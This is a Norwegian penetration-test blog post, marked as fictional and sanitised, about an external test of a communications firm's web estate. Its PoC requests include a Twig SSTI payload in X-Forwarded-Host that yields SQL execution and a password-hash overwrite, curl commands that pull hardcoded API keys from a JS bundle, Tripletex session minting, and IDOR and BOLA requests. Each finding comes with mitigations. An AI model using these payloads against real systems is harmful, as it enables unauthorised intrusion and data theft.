---
title: "Tre kritiske funn i én estate — den enkleste var den verste"
date: 2026-07-21
description: "Ekstern test av hele estaten: en SSTI til full Craft-admin, admin123, og hardkodede nøkler som lå åpent i frontend og låste opp hele regnskapet. Hele funnregisteret med PoC-er."
tags: ["pentest", "ssti", "craft-cms", "idor", "hardcoded-secrets", "dmarc", "ai", "security"]
url: https://erik.no/blogg/2026-07-21-tre-kritiske-funn-den-enkleste-var-den-verste
---

<Callout type="info">
  **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette
  innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer
  er tilfeldig. Detaljer fra reelle oppdrag er sanert.
</Callout>

Det interessante endepunktet var ikke det alle skanner etter. Alle kaster
CVE-2025-32432 mot en Craft-installasjon i 2025 — den kom tilbake patchet her.
Hullet var en fire år gammel klasse: en header CMS-et stolte på. `X-Forwarded-Host`
ble rendret gjennom Twig av SEOmatic, og én uautentisert `GET` ga meg først
vilkårlig SQL mot produksjonsdatabasen og til slutt full super-administrator i
Craft. Ingen credentials, ingen brukerinteraksjon, ingen tidligere fotfeste.
Her er hele kjeden, hvorfor de negative kontrollene avgjorde alvorlighetsgraden,
og hvorfor jeg gjorde overtakelsen på den mest reversible måten jeg kunne.

SSTI-en var den mest elegante inngangen — men den verste svakheten krevde ingen
teknikk i det hele tatt: nøklene til hele regnskapet lå i en offentlig
JavaScript-fil. Dette innlegget går gjennom hele den eksterne testen av estaten:
tre kritiske funn (SSTI-en til CMS-admin, et admin-panel som falt på ett gjettet
passord, og de hardkodede nøklene som låste opp hele ERP-et), fire høy-funn, hele
medium/lav-halen — og like viktig, alt som _holdt_.
Kunden har rukket å utbedre det meste av dette allerede, og jeg er klarert til å
publisere den saniterte gjennomgangen. En ny full test kjører i morgen; den blir
et eget innlegg.

## Kontekst

Kunden var Nordlyd AS (`nordlydas.no`), et lite kommunikasjonshus med en
overraskende bred `.no`-portefølje: flaggskip-nettstedet, en Moodle-basert LMS,
en kunde-CRM og en håndfull små React/Express-SPA-er. Scopet var
`owned-by-org` — alt som beviselig eies av Nordlyd var i spill, med eierskap som
porten. IT-sjefen, Bjørn Moen (`bjorn.moen@nordlydas.no`), var mest bekymret for
kunde-CRM-en. Som så ofte lå ikke brannen der kunden pekte — den lå i
flaggskipet, `www.nordlydas.no`, som kjørte Craft CMS på 3.9-grenen med
SEOmatic-pluginen, på delt Apache-hosting med en MariaDB-backend.

Det er samme mønster som [da det viktigste funnet ikke var det kunden ba om](/blogg/2026-06-06-viktigste-funnet-var-ikke-det-kunden-ba-om):
den mest sensitive appen i porteføljen holdt, mens et sidesystem ingen tenkte
på var åpent.

Jeg kjører denne typen oppdrag med AI i loopen. Parallelle agenter gjør recon,
endepunkt-kartlegging og CVE-triage, kjører sweeps og leser output; jeg styrer
scope, tar de etiske vurderingene, bestemmer hva som er verdt å eskalere, og gjør
bitene som krever menneskelig dømmekraft. Første pass var en agent som
fingerprintet stacken (`whatweb`, HTTP-triage, GraphQL-introspeksjon) og triagede
Craft-CVE-listen mot den observerte versjonen.

## Den negative kontrollen kommer først

Før jeg beskriver hullet: her er alt som _ikke_ virket, for det er halve poenget.

Alle jaktet på **CVE-2025-32432** i 2025 — den uautentiserte object-injection-RCE-en
i Craft. Jeg lot agenten fyre av den kjente transform-handle-PoC-en mot
`/index.php?p=admin/actions/assets/generate-transform` fire ganger, med varianter.
Hver gang samme svar:

```text
{"name":"Bad Request","message":"Invalid transform handle.","code":0,"error":"Invalid transform handle.","status":400}
```

`400 "Invalid transform handle"` er den patchede kodeveien: requesten når
handleren, men objekt-injeksjonen blir avvist før den gjør noe. Kryssjekket mot
en positiv kontroll (en gyldig transform-handle som ga `200`), så jeg vet at
endepunktet lever — det er selve sårbarheten som er borte. Verdikt: patchet.
Ikke den.

De andre åpenbare gevinstene var også stengt:

- Craft GraphQL lå åpent på `/api` med introspeksjon på, men public schema-rot var
  `{ping}` — `{"data":{"ping":"pong"}}`. `entries`/`users` returnerte tom liste,
  ingen data. Schema-lekkasje, ikke datauttrekk.
- Offentlig registrering var av (`users/save-user` → `403 "Public registration is not allowed"`).
- `/.env`, `/composer.json`, `/config/*`, backup-arkiver → alt `404`. `/.git/*` → `403`.
- CP-en (`/admin`) var uautentisert nåbar, men bcrypt, rate-limitet, ingen
  default-creds. Et lite, målrettet passord-spray traff ingenting.

Det er verdt å dvele ved dette. Den støyende, ferske CVE-en var en blindvei.
Hostinghygienen på det åpenbare var god. Det som til slutt ga full overtakelse,
var en stille header som ingen scanner flagger som «kritisk». Skillet mellom en
plausibel og en ekte sårbarhet ligger i verifiseringen — det samme poenget som
[da et cross-tenant-funn ikke overlevde verifisering](/blogg/2026-07-08-da-cross-tenant-funnet-ikke-overlevde-verifisering).

## Det jeg fant: SEOmatic renderer X-Forwarded-Host gjennom Twig

SEOmatic bygger OpenGraph- og meta-image-URL-er ut fra request-hosten. I denne
versjonen sender pluginen den innkommende `X-Forwarded-Host`-headeren gjennom
Crafts `renderObjectTemplate()` — altså Twig — uten å sanitere den. Headeren er
angriperkontrollert input, og den havner i en template-renderer. Det er
lærebok-SSTI (server-side template injection), samme klasse som CVE-2021-41749 i
SEOmatic.

To detaljer gjorde dette praktisk utnyttbart:

1. **Refleksjonspunktet er `og:image`.** Den evaluerte verdien kommer tilbake i
   `<meta property="og:image">` på en helt vanlig `GET /`. Det gir et rent
   orakel — jeg kan lese resultatet av hvert uttrykk direkte i responsen, steg
   for steg.
2. **En comma-split-begrensning.** Crafts proxy-parsing splitter
   `X-Forwarded-Host` på komma. Payloaden må derfor være komma-fri. Det formet
   alt nedstrøms: bare enkolonne-`UPDATE`-writes overlever, og jeg måtte unngå
   komma i alle SQL-uttrykk.

## PoC / Reproduksjon

**Forutsetninger:** ingen. Fullstendig uautentisert, én `GET` per steg. All
trafikk gikk via hostnavnet, aldri mot den delte IP-en direkte. Verktøy: en liten
AI-generert HTTP-løkke rundt `curl` for header-fuzzingen; agenten kjørte selve
sweepen, jeg satte ratelimit og scope og plukket ut hvilke treff som var verdt å
eskalere.

### Steg 1 — bevis at Twig evaluerer (positiv/negativ kontroll)

Jeg pakket payloaden i to markører (`ZQXR…RXQZ`) så jeg kunne finne den evaluerte
verdien uten tvil i responsen.

```http
GET / HTTP/1.1
Host: www.nordlydas.no
X-Forwarded-Host: ZQXR{{7*191}}RXQZ
```

```http
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

...
<meta property="og:image" content="https://ZQXR1337RXQZ/index.php?p=...">
...
```

`7*191` ble til `1337` inne i `og:image`. Templaten evaluerer. Den samtidige
negative kontrollen var å sende en helt vanlig verdi uten krøllparenteser:

```http
X-Forwarded-Host: ZQXRexample.testRXQZ
```

```http
<meta property="og:image" content="https://ZQXRexample.testRXQZ/index.php?p=...">
```

Den reflekteres _ordrett_ — ingen evaluering. Det er `{{ }}` som trigger
renderingen, ikke bare det at headeren speiles. Skillet er viktig: en reflektert
header alene er en cache-poison/XSS-latens (og det filte jeg som eget lavfunn).
En reflektert header som _evalueres_ er kjøring på serveren.

### Steg 2 — nå objektgrafen

```http
X-Forwarded-Host: ZQXR{{craft.app.version}}RXQZ         → og:image: ZQXR3.9.15RXQZ
X-Forwarded-Host: ZQXR{{constant('PHP_VERSION')}}RXQZ   → og:image: ZQXR8.1.34RXQZ
```

Rendrings-konteksten eksponerer det globale `craft`-applikasjonsobjektet. Når jeg
først har det, har jeg vilkårlige metodekall.

### Steg 3 — vilkårlig SQL mot produksjonsdatabasen

`craft.app.db.createCommand()` er den viktige metoden. Den kjører SQL på CMS-ets
egen databaseforbindelse.

```http
GET / HTTP/1.1
Host: www.nordlydas.no
X-Forwarded-Host: ZQXR{{craft.app.db.createCommand('SELECT @@version').queryScalar()}}RXQZ
```

```http
HTTP/1.1 200 OK

<meta property="og:image" content="https://ZQXR11.4.10-MariaDB-1-logRXQZ/index.php?p=...">
```

```http
X-Forwarded-Host: ZQXR{{craft.app.db.createCommand('SELECT @@hostname').queryScalar()}}RXQZ
    → og:image: ZQXR<REDACTED>.hosting.internalRXQZ
```

**Tolkning, linje for linje:** dette er ikke lenger «en header reflekteres».
`@@version` og `@@hostname` bakes inn i `og:image` fordi CMS-ets _egen_
databaseforbindelse kjørte SQL-en min, uautentisert, fra en anonym `GET`. Fra
dette punktet har en angriper vilkårlig lese/skrive mot hele Craft-databasen:
alt innhold, alle brukere, alle passord-hasher.

### Steg 4 — hva som var innen rekkevidde (lesing, benignt)

Jeg leste nok til å fastslå impact, og stoppet der:

- **Craft security key** (`craft.app.config.general.securityKey`) — 32 tegn,
  hentet ut, maskert i evidence som `qgNv…<REDACTED>…LWuQ`. Den signerer
  auth-cookies, CSRF-/reset-tokens og krypterer lagrede secrets. Må antas
  fullstendig disclosed, altså roteres.
- `allowAdminChanges = true`, `devMode = false`, `allowUpdates = false`,
  `requireUserAgentAndIpForSession = true`, sesjonsvarighet 3600s.
- DB-brukeren manglet `FILE`-privilegium (`secure_file_priv` NULL) — så ingen
  `INTO OUTFILE`/webshell-vei, uansett.

<Callout type="warning">
  Det jeg med vilje **ikke** leste: ingen brukerrader, ingen passord-hasher,
  ingen PII. Bare antall, versjoner og _lengden_ på security-key-en — helt fram
  til det autoriserte admin-steget. En SSTI som denne kan dumpe hele
  brukertabellen; RoE og folkeskikk sier at man ikke gjør det for å bevise et
  poeng man allerede har bevist.
</Callout>

## Fra SQL til super-admin — det reversible steget

Jeg hadde lese/skrive-SQL. Det åpenbare neste steget er admin-overtakelse. Men
_hvordan_ betyr alt her, både teknisk og etisk.

Hvorfor ikke bare stjele en sesjon eller forfalske en cookie med security-key-en?
Fordi `requireUserAgentAndIpForSession = true` slår i hjel replay av en stjålet
sesjon, og det var ingen MFA-plugin installert. Den pålitelige veien var en
**reversibel enkolonne-passordendring** fulgt av en helt vanlig innlogging.
Comma-split-begrensningen fra steg 1 betyr at bare enkolonne-`UPDATE` overlever,
så jeg holdt endringen til nøyaktig én kolonne på én rad.

Nummerert kjede:

1. Les og lagre den eksisterende bcrypt-hashen til super-admin (id 1):
   `SELECT HEX(password) FROM users WHERE id=1`. Denne skal restaureres bit for bit.
2. Bekreft skrive-privilegium med en benign 0-rads `UPDATE` (en `WHERE` som ikke
   matcher noe) — jeg vil vite at jeg _kan_ skrive før jeg rører en ekte konto.
3. Sett en midlertidig, kjent `$2y$13$`-bcrypt på super-admin via en
   enkolonne-`UPDATE`. Verdien hex-encodes så payloaden holder seg komma-fri og
   slipper sitat-problemer i headeren:

```http
X-Forwarded-Host: ZQXR{{craft.app.db.createCommand('UPDATE users SET password=0x<REDACTED-bcrypt-hex> WHERE id=1').execute()}}RXQZ
```

   Verifisert ved å lese hashen tilbake og sjekke at den er den jeg satte.
4. Logg inn i nettleseren på `/admin/login` med det midlertidige passordet.
   Innloggingen ble kjørt manuelt-supervisert via Chrome-automatisering
   (Playwright), og landet på CP-dashbordet som super-admin. Dashbordet viste
   full administrativ navigasjon (Artikler, Globaler, Brukere, SEOmatic,
   Verktøy, GraphQL), publiseringshistorikk med forfatternavn, og admin-only
   «oppdateringer tilgjengelig». Skjermbilde ligger i engagement-evidencen; jeg
   embedder det ikke her siden det inneholder ekte kontonavn.
5. **Restaurer den opprinnelige hashen umiddelbart** med en ny enkolonne-`UPDATE`,
   og verifiser at tilbakelesningen er identisk med originalen fra steg 1.
   Sesjonen lever server-side, så credential-vinduet varte i sekunder.
6. Logg ut for å fjerne sesjons-artefakten.

Funn: <Severity level="critical" /> — uautentisert SSTI → vilkårlig SQL → full
CMS super-admin, bevist med en live innlogging.

Her er det verdt å være ærlig om arbeidsdelingen: AI-en hjalp meg forme
SQL-uttrykkene og fant reflekterings-mønsteret raskt. Men go/no-go på å røre en
produksjonskonto, save-restore-verify-disiplinen, og selve alvorlighetsvurderingen
var mine. En agent i loopen produserer plausible eskaleringer fort — og
uforsiktige eskaleringer like fort. Det menneskelige steget er å bestemme at
endringen skal være reversibel, minimal og verifisert restaurert _før_ du rører
noe levende.

## Mitigering — før/etter

Fiksen er i tre lag, fra det som lukker hullet i dag til det som rydder opp etter
en antatt kompromittering.

**1. Ikke stol på `X-Forwarded-Host` fra vilkårlige klienter.** Sett Crafts
`trustedHosts`/`trustedProxies` så bare edge-proxyen får sette forwarded-headere,
og strip headeren ved Apache-kanten:

```apache
# Apache/edge: fjern klient-satt forwarded-host før den når PHP
RequestHeader unset X-Forwarded-Host
```

```php
// config/general.php — bind til kjente hoster i stedet for å reflektere request
'trustedHosts' => ['^(www\.)?nordlydas\.no$'],
```

Etter dette når ikke headeren `renderObjectTemplate()` lenger: `{{7*191}}`
reflekteres ordrett (eller droppes), og steg 2–3 gir ingen evaluering. Det er
den samme negative kontrollen fra steg 1, nå som post-fiks-bevis.

**2. Oppdater SEOmatic** til en patchet release (CVE-2021-41749 er fikset i
SEOmatic 3.4.12+) og migrer bort fra Craft 3.x, som er end-of-life.

**3. Anta disclosure.** Roter Craft security key og alle DB-credentials. Tving
passord-reset på alle CP-administratorer (anta hashene dumpet). Skru på MFA på
kontrollpanelet. Gjennomgå edge-/WAF-logger for mønsteret
`X-Forwarded-Host: *{{*}}*` for å måle eventuell tidligere utnyttelse.

## admin123: det interne HR-systemet falt på én gjetning

Den andre appen som ga full overtakelse var ikke en CMS-finesse — det var et
trivielt standardpassord. Nordlyds interne HR-/onboarding-system
(`ansatt.nordlydas.no`, en egenutviklet React/Express-app) har en
admin-innlogging som er en **enkelt delt passord-port**: `POST /api/admin/login`
tar bare `{password}` — intet brukernavn, ingen MFA.

Ved første øyekast så porten rate-limitet ut: gjentatte forsøk i rask rekkefølge
ble bremset med en tar-pit som stallet responsen 30s+. Men bremsen var
**burst-basert, ikke et ekte lockout** — den straffet fart, ikke antall. En rolig
online-brute (autorisert i SoW) gikk rett gjennom.

**Forutsetninger:** ingen — uautentisert. Online passord-gjetting var eksplisitt
autorisert. Verktøy: agenten kjørte bruten low-and-slow mot den ene
passord-parameteren; jeg satte raten og ordlisten.

1. Feil passord gir en ren avvisning:

```http
POST /api/admin/login HTTP/1.1
Host: ansatt.nordlydas.no
Content-Type: application/json

{"password":"<kandidat>"}
```

```http
HTTP/1.1 401 Unauthorized

{"error":"Ikke autorisert"}
```

2. Treff på **forsøk 58 av 272** med en triviell standard-streng (`admin123`):

```http
HTTP/1.1 200 OK
Set-Cookie: session=<REDACTED>; HttpOnly

{"success":true,"role":"admin"}
```

3. **Negativ kontroll — er dette én app-svakhet eller en estate-vid gjenbrukt
   hemmelighet?** Jeg testet det samme passordet mot de andre appene i
   porteføljen (AI-backenden, CRM-en, de øvrige SPA-ene). Alle avviste det:

```http
POST /api/admin/login  (analyse.nordlydas.no)  →  401
```

`admin123` fungerte **kun** på HR-systemet. Det gjør funnet til en isolert
svak-passord-svakhet på denne ene appen, ikke et delt admin-passord på tvers av
estaten — en viktig forskjell for hvor bredt kunden må rotere.

**Impact.** Én gjetning gir full administrator på onboarding-plattformen: lesing
av nyansattes personopplysninger — **bankkonto, fødselsdato, lønn** og nødkontakt
— masse-eksport til Excel, og skrivetilgang som kjeder videre til **lagret XSS**
mot alle ansatte via en usanitisert HTML-visning. Autentiseringssvakheten er i seg
selv <Severity level="high" />, men med PII-omfanget og XSS-kjeden er den reelle
eksponeringen kritisk — jeg flagget den for umiddelbar utbedring.

Innloggingen ble demonstrert live i nettleser (Playwright, manuelt supervisert) og
deretter logget ut. Ingen PII ble eksportert — jeg beviste tilgangen og stoppet.

**Mitigering.** Fjern det delte passordet til fordel for per-bruker-auth med MFA
og et _ekte_ rate-limit/lockout (teller forsøk, ikke bare fart). Rotér `admin123`
umiddelbart. Saniter HTML-visningen og legg på CSP for å bryte XSS-kjeden.

## Den verste: hardkodede nøkler i en offentlig JS-fil → hele regnskapet

SSTI-en var elegant. Dette var verre, og krevde ingen teknikk i det hele tatt —
bare å lese en fil som ligger åpent.

Nordlyd har et internt drifts- og rekrutteringsdashbord på `drift.nordlydas.no`
(en Render-hostet Express-app). Karrieresiden `nordlydas.no/jobb` sender
jobbsøknader dit, og appen proxyer i tillegg Nordlyds Tripletex-regnskap. Appens
offentlige SPA-bundle — `/assets/index-<hash>.js`, lesbar for hvem som helst —
**hardkoder to statiske API-nøkler og Nordlyds Tripletex-tokens** rett i
klientkoden. Det er hele sårbarheten: CWE-798, hemmeligheter i frontend.

Dette er også historien om hvorfor man retester. I runde 1 filte jeg CRM-ens
`X-Dashboard-Key` som et lavfunn og noterte at selve nøkkelverdien var «aldri
fanget» — loot-sweepen fant den ikke. Den lå i klartekst i _dette_ dashbordets
bundle hele tiden. Ett funn nedgraderte ikke, det eskalerte fra lav til kritisk
da en annen agent leste riktig fil.

**Forutsetninger:** ingen. Alt hentes fra offentlig JavaScript. Verktøy: to
AI-genererte PoC-skript, bygget «redeploy-proof» — de auto-oppdager bundle-URL-en
(hashen endres ved hver deploy), ekstraherer nøklene _by value_, og skriver
«remediated» hvis nøklene er rotert. Skriptet beviser altså bruddet og
dobler som utbedrings-verifikasjon. Agenten skrev skriptene; jeg satte
RoE-grensene (count-only, ingen bulk-PII, maskerte beløp), og Tripletex-verifikasjonen
kjørte jeg kun etter at kunden _selv_ uttrykkelig ba om sine tre siste fakturaer
som bevis (en dataeier-forespørsel).

### Ledd 1 — hent nøklene fra bundlen

```bash
# Auto-oppdag bundlen (hashen endres ved hver redeploy)
BJS=$(curl -s https://drift.nordlydas.no/ | grep -oE '/assets/index-[A-Za-z0-9_-]+\.js' | head -1)

# Ekstraher nøkler + tokens by value (overlever re-minifisering)
curl -s "https://drift.nordlydas.no$BJS" | grep -oE '<nøkkelmønstre>'
#   x-dashboard-key (rekruttering) = <REDACTED — svak, menneskevalgt streng>
#   X-Dashboard-Key (crm, 64 hex)  = <REDACTED-64-hex>
#   Tripletex consumer/employee-token = <REDACTED> (base64, dekoder til {tokenId,token})
```

### Ledd 2 — uautentisert lesing av 37 jobbsøknader

```http
GET /api/rekruttering/applications HTTP/1.1
Host: drift.nordlydas.no
x-dashboard-key: <REDACTED>
```

```http
HTTP/1.1 200 OK
Content-Type: application/json

[ ... 37 objekter ... ]
# felter per rad: name, email, application_text, project_link, projects,
#   eval_attachment_name, eval_attachment_hash, eval_notes, status, created_at
```

37 reelle søkeres navn, e-post, søknadstekst, CV-vedlegg **og interne
vurderingsnotater** (`eval_notes`), lesbart uten en eneste credential.

### Ledd 3 — uautentisert lesing av salgs-CRM-et

```http
GET /api/dashboard/stats HTTP/1.1
Host: crm.nordlydas.no
X-Dashboard-Key: <REDACTED-64-hex>
```

```http
HTTP/1.1 200 OK

{"totalCustomers":231,"totalLeads":131, ...}
```

231 kunder, 131 leads, hele pipelinen — med nøkkelen runde 1 kalte «aldri fanget».

### Ledd 4 — full ERP: mint en Tripletex-session fra tokens i en offentlig fil

Appen proxyer Tripletex via `/api/v2`. Med consumer- og employee-tokenene fra
bundlen kan hvem som helst be proxyen mint en ekte Tripletex-session:

```http
PUT /api/v2/token/session/:create?consumerToken=<REDACTED>&employeeToken=<REDACTED>&expirationDate=<i-morgen> HTTP/1.1
Host: drift.nordlydas.no
x-dashboard-key: <REDACTED>
Authorization: Basic <base64(consumer:employee)>
```

```http
HTTP/1.1 200 OK

{"value":{"token":"<REDACTED-session>","expirationDate":"<i-morgen>"}}
```

Med sessionen leste jeg de tre siste betalte leverandørfakturaene — kun fordi
kunden ba om nettopp det som eierbevis:

```http
GET /api/v2/supplierInvoice?count=3&sorting=-invoiceDate&fields=invoiceNumber,invoiceDate,amount,supplier(name) HTTP/1.1
Host: drift.nordlydas.no
Authorization: Basic <base64(0:<REDACTED-session>)>
```

```http
HTTP/1.1 200 OK

# 3 reelle leverandørfakturaer returnert (motpart og beløp maskert i bevisene)
```

**Tolkning:** en session mintet mot Tripletex fra tokens i en offentlig fil gir
full lesetilgang til hele regnskapet — fakturaer inn/ut, kunder, leverandører,
ansatte, **lønn og lønnsslipper**, hovedbok og bank. Fra en fil på internett.

### Negativ kontroll og ekthetsbevis

To ting gjorde dette til et bevis og ikke en påstand:

- **Redeploy-proof som negativ kontroll:** skriptet henter nøklene _by value_
  hver kjøring. Roteres de, feiler mint-steget og skriptet skriver «remediated».
  Samme skript beviser bruddet og bekrefter fiksen — jeg trenger ikke tro på at
  kunden lukket det, jeg kan kjøre PoC-en igjen.
- **Positiv kontroll på ekthet:** min egen (samtykkede) testsøknad lå i
  `/api/rekruttering/applications`-svaret med riktig id. Det beviste at jeg leste
  den _levende_ rekrutteringsbasen, ikke en cache eller et testmiljø.

**RoE-disiplin:** 36 av 37 søknader ble sett for å bevise omfang og deretter
makulert; kun de tre kundeforespurte fakturaene ble hentet (ingen lønn, ansatte
eller hovedbok trukket ut); Tripletex ble nådd via Nordlyds egen proxy med
Nordlyds egne lekkede nøkler, kun lesing, med en session som utløper etter én dag.
Ingen durabel credential beholdt.

Funn: <Severity level="critical" /> (CVSS 9.1). **GDPR:** jobbsøkeres CV, søknad
og interne vurderinger var eksponert — dette utløser en vurdering av
varslingsplikt og en gjennomgang av tilgangslogger.

**Mitigering (haster):**

1. Rotér begge dashboard-nøkler og tilbakekall/rotér Tripletex consumer- og
   employee-tokens umiddelbart — anta alt kompromittert og logget.
2. Fjern _alle_ hemmeligheter fra klientkode; nøkler skal kun leve server-side.
3. Erstatt statisk header-auth med den reelle Microsoft-OAuth-sesjonen appen
   allerede har, på hvert data-endepunkt (`/api/rekruttering/*`,
   `/api/dashboard/*`, `/api/research/*`, `/api/db`).

## Sidefunn: et uautentisert AI-backend som jeg endte med å nedgradere

En av SPA-ene i porteføljen — et lite AI-drevet analyseverktøy på
`analyse.nordlydas.no` — eksponerte hele `/api/*` uten autentisering:
`/api/ideas/*`, `/api/metrics/*`, `/api/stream`, `/api/ocr`, `/api/parse-document`.
Det er broken access control pluss en denial-of-wallet-eksponering: anonyme
kallere kan drive betalt LLM-inferens i det uendelige.

Mini-PoC-en er å vise at endepunktene er _ekte_ uautentiserte, ikke bare at de
returnerer `200`. Nabo-rutene under `/api/admin/*` svarer `401` før body; de
sensitive AI-rutene når derimot rett til validering:

```bash
# Gated søsken — 401 før body
curl -s -o /dev/null -w '%{http_code}\n' https://analyse.nordlydas.no/api/admin/stats
# -> 401

# AI-rute uten auth — når parseren, aldri 401
curl -s -F 'document=@/dev/null' https://analyse.nordlydas.no/api/parse-document
# -> 400 {"message":"Ingen fil lastet opp"}
```

`401` mot `/api/admin/*`, men `400 "Ingen fil lastet opp"` mot
`/api/parse-document`, beviser at parseren kjører for en anonym kaller. Modell-enum-en
lekker også i bundlen (`aiModel ∈ {claude-sonnet-4-6, gpt-5.2}`), så en angriper
vet nøyaktig hva som er tilgjengelig å brenne penger på.

Så langt ser dette ut som en kandidat for uautentisert RCE, og jeg jaktet på det
hardt. Jeg ba agenten bygge ekte-trigger-PoC-er for hver plausible vei inn i
`/api/parse-document` og `/api/ocr`:

- **pdf.js `eval`-RCE (CVE-2024-4367)** via en font-`FontMatrix`-gadget i en PDF.
- **mammoth vilkårlig fil-lesing (CVE-2025-11849)** via en DOCX med en ekstern
  `<a:blip r:link>`-relasjon som peker på `/etc/hostname`.
- **OOXML XXE** → SSRF mot GCP-metadata (appen kjører på Google App Engine, så en
  SSRF kunne i teorien stjålet service-account-token).
- **ImageMagick/Ghostscript** via en MVG/PS forkledd som `data:image/png` mot
  `/api/ocr`.
- **zip-slip** og **prototype-pollution** i Express-JSON-kroppene.

Alle veiene testet **negativt** med ekte triggere. En benign PDF/DOCX/PPTX
round-trippet pent til `{text}`, men ingen av gadgetene fyrte. Guardrail-laget
holdt også: naiv prompt-injection ble korrekt avvist (modellen scoret injeksjonen
0 og gjorde ingenting), modellen er server-side pinnet til en allow-list så en
dyrere modell ikke kan tvinges fram, og ingen system-prompt/tool/modell-lekkasje
lot seg oppnå.

Konklusjon: jeg nedgraderte hele klyngen fra «kandidat for uautentisert RCE» til
«broken access control + denial-of-wallet». Funn: <Severity level="high" />, ikke
kritisk. Et funn som blir _nedgradert_ etter verifisering er et fullgodt funn —
og de negative PoC-ene er akkurat det som skiller «et endepunkt returnerte 400»
fra «her er den faktiske grensen».

## Fire høy-funn til

De to admin-portene (HR + AI-backenden) deler samme designfeil, og estaten har
tre andre høy-funn verdt egne avsnitt.

### Flaggskipet med `p=reject` er fortsatt forfalskbart — via en delt SPF-vert

Det eneste e-postsikrede domenet (`nordlydas.no`, DMARC `p=reject`) autoriserer
`ip4:203.0.113.56` i sin SPF — en **delt web-host** som ikke eies av Nordlyd, og
som Nordlyds egne hengende subdomener peker på. Fordi SPF autoriserer _IP-en_
(ikke en virtuell vert) og DMARC bruker `aspf=r` (relaxed), kan en medleietaker på
den delte hosten — eller den som overtar et hengende subdomene — sende
`MAIL FROM: @nordlydas.no` med SPF-pass og justering → **DMARC-pass, forbi
`p=reject`**.

```text
nordlydas.no  TXT  "v=spf1 include:spf.protection.outlook.com ip4:203.0.113.56 ~all"
_dmarc        TXT  "v=DMARC1; p=reject; aspf=r; adkim=r"
                                        ^ relaxed alignment + en delt IP i SPF = hullet
```

To sekundære <Severity level="medium" />: en tredjeparts e-postleverandør-IP og
fire gjenbrukbare AWS-EIP-er i samme SPF. Samme mønster som
[da WordPress holdt, men e-posten åpnet døren](/blogg/2026-06-01-da-wordpress-holdt-men-e-posten-apnet-doren):
app-laget er hardt, e-postautentiseringen er hullet. **Fix:** fjern
`ip4:203.0.113.56`, dekommisjonér de hengende subdomenene, autorisér kun O365 +
fullt kontrollerte reléer, og stram `~all` → `-all`.

### strategi: kryss-arbeidsområde datatyveri via ikke-validert forelder

Skrivehåndtererne på `strategi.nordlydas.no` (actions/swimlanes/tasks/measurements)
sjekker at kalleren eier _objektet_, men ikke destinasjons-**forelderen** —
`strategyId` er masse-tilordnbar. Kombinert med en bekreftet skrivbar BOLA
(`swot/items`, `focus-areas`, `entries`) blir dette datatyveri: en fremmed
re-foreldrer et offers objekt til sitt eget arbeidsområde og leser det der.

```http
PATCH /api/swot/items/<offer-uuid> HTTP/1.1
Host: strategi.nordlydas.no
Cookie: session=<REDACTED — helt fremmed konto>
Content-Type: application/json

{"strategyId":"<mitt-eget-arbeidsomrade>"}
```

**Negativ kontroll (canary):** fra konto B plantet jeg en hemmelig SWOT-verdi i
konto A-s arbeidsområde, re-foreldret den til B, og leste den tilbake i B —
`VICTIM-SECRET`-strengen dukket opp hos meg. Det beviste ekte kryss-tenant-tyveri,
ikke en samme-eier-inkonsistens. Enhver innlogget bruker kan lese ethvert
arbeidsområdes strategidata. <Severity level="high" />. To relaterte
<Severity level="medium" />: invitasjon bundet til hvem-som-helst (bærer-token,
opptil admin-rolle) og en engangs-invitasjon som er dobbeltbrukbar (TOCTOU).

### Moodle: en selvregistrert student henter en systemrapport over 125 brukere

`kurs.nordlydas.no` (Moodle Workplace 4.5.2, ~10 utgivelser bak) har åpen
selvregistrering uten CAPTCHA. En fersk student kan minte et
mobil-webservice-token og kalle `core_reportbuilder_retrieve_report` mot
`reportid=79` — en rapport på _systemnivå_ (`contextid 1`) laget av en
administrator — og lese 125 brukeres navn, brukernavn og e-post, inkludert selve
administratorkontoen. Feilklassifisert rapport-publikum, CVE-2026-58348-klassen.

```http
POST /webservice/rest/server.php?moodlewsrestformat=json HTTP/1.1
Host: kurs.nordlydas.no
Content-Type: application/x-www-form-urlencoded

wstoken=<REDACTED>&wsfunction=core_reportbuilder_retrieve_report&reportid=79
```

```http
HTTP/1.1 200 OK

{"data":{"totalrowcount":125,"rows":[ ... ]}, "warnings":[]}
```

Kun én maskert rad ble hentet som bevis. <Severity level="high" />. Videre
eskalering til lærer/administrator ble testet grundig og er **blokkert** (se
«Det som holdt»). **Fix:** begrens rapport-79-publikum, steng åpen
selvregistrering, oppgrader 4.5.2 → 4.5.12+.

### AI-backendens admin-port — samme delte-passord-design, uten rate-limit

`POST /api/admin/auth` på `analyse.nordlydas.no` er nøyaktig samme
enkelt-delt-passord-design som HR-systemet, uten rate-limit, lockout eller
CAPTCHA. Den ble _ikke_ knekt i en 272-ords kjøring — passordet er ikke i en
vanlig ordliste — men den er fullt online brute-forcebar. <Severity level="high" />.
Jeg lar den stå som høy og ikke kritisk nettopp fordi den ikke falt: den er en
åpen dør, men jeg fant ikke nøkkelen denne runden. Samme fix som `admin123`.

## Medium-funn

| # | Funn | Ressurs | Fix |
|---|---|---|---|
| M1 | **BAC/IDOR** — `/api/public/project/{id}` lekker hvert prosjekt uautentisert per heltalls-id; `/api/public/dashboard` og `/api/public/actors` dumper full planleggingsdata inkl. intern `userId` | `ppu.nordlydas.no` | Objekt-nivå-authz på hver `/api/public/*`-id |
| M2 | **measurement-entries BOLA** — `PATCH/DELETE /api/entries/{id}` mangler eierskapssjekk | `strategi.nordlydas.no` | Eierskapssjekk på entries-writes |
| M3 | **Invitasjon** bundet til hvem-som-helst (bærer-token, opptil admin) + engangs-invitasjon dobbeltbrukbar (TOCTOU) | `strategi.nordlydas.no` | Bind invitasjon til e-post; atomisk engangsbruk |
| M4 | **E-postforfalskning 25/26** — 25 av 26 domener mangler håndhevende SPF+DMARC (inkl. HR-onboarding og LMS) | hele estaten | SPF `-all` + DMARC `p=reject` over hele estaten |
| M5 | **Hengende DNS / subdomene-takeover** — `con-form`/`kurs`/`prosjekt.nordlydas.no` + et annet domene peker på en tredjeparts analyseplattform (brutt TLS); et dødt Replit-custom-domene; `staging.nordlydas.no` A-record til en forlatt DigitalOcean-IP | flere | Fjern de stale DNS-postene eller gjenvinn under klientkontroll |
